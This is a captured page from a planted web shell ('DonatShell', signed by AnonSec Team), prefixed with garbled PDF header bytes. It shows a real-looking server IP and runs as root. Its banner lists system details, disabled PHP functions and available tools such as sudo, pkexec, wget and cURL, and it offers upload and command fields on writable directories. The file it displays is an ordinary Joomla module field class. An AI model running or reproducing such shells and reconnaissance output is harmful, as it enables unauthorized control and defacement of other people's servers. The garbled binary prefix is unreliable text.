%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_pwebbox/form/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_pwebbox/form/fields/pwebadwords.php
<?php
/**
 * @package     pwebbox
 * @version 	2.0.0
 *
 * @copyright   Copyright (C) 2015 Perfect Web. All rights reserved. http://www.perfect-web.co
 * @license     GNU General Public Licence http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die( 'Restricted access' );

JFormHelper::loadFieldClass('text');

/**
 * AdWords field
 */
class JFormFieldPwebAdwords extends JFormFieldText
{
	protected $type = 'PwebAdwords';
	
	
	protected function getInput()
	{
		$size = $this->element['size'];
		
		$doc = JFactory::getDocument();
                $doc->addScriptDeclaration(
                    'if(typeof jQuery!=="undefined")
                    jQuery(document).ready(function($){
                            $("#pwebbox_paste_'.$this->id.'").click(function(e){
                                    e.preventDefault();
                                    var s = prompt("'.JText::_('MOD_PWEBBOX_ADWORDS_SCRIPT_PASTE').'");
                                    if(s){
                                            var u = s.match(/<img[^>]* src=["]([^"]+)"/i);
                                            if (u && typeof u[1] != "undefined") document.getElementById("'.$this->id.'").value = u[1].replace(new RegExp("&amp;", "gi"), "&");
                                    }
                            });
                    });'
		);
		
		if (version_compare(JVERSION, '3.0.0') == -1)
		{
			$html  = '<div class="fltlft">';
			$html .= parent::getInput();
			$html .= '</div><div class="button2-left"><div class="blank">';
			$html .= '<a id="pwebboxt_paste_'.$this->id.'" href="#">';
			$html .= JText::_('MOD_PWEBBOX_PASTE_BUTTON');
			$html .= '</a>';
			$html .= '</div></div>';
		}
		else 
		{
			$html  = '<div class="input-append">';
			$html .= parent::getInput();
			$html .= '<a class="btn" id="pwebbox_paste_'.$this->id.'" href="#">';
			$html .= JText::_('MOD_PWEBBOX_PASTE_BUTTON');
			$html .= '</a>';
			$html .= '</div>';
		}
                
                if ($this->element['hidden'])
                {
                    require_once 'fieldhelper.php';

                    return modPwebboxFieldHelper::generateFieldWithLabel($this->id, $html, $this->element['label'], $this->element['description'], $this->required, $this->element['pweb_showon']);
                }                  

		return $html;
	}
}

Anon7 - 2022
AnonSec Team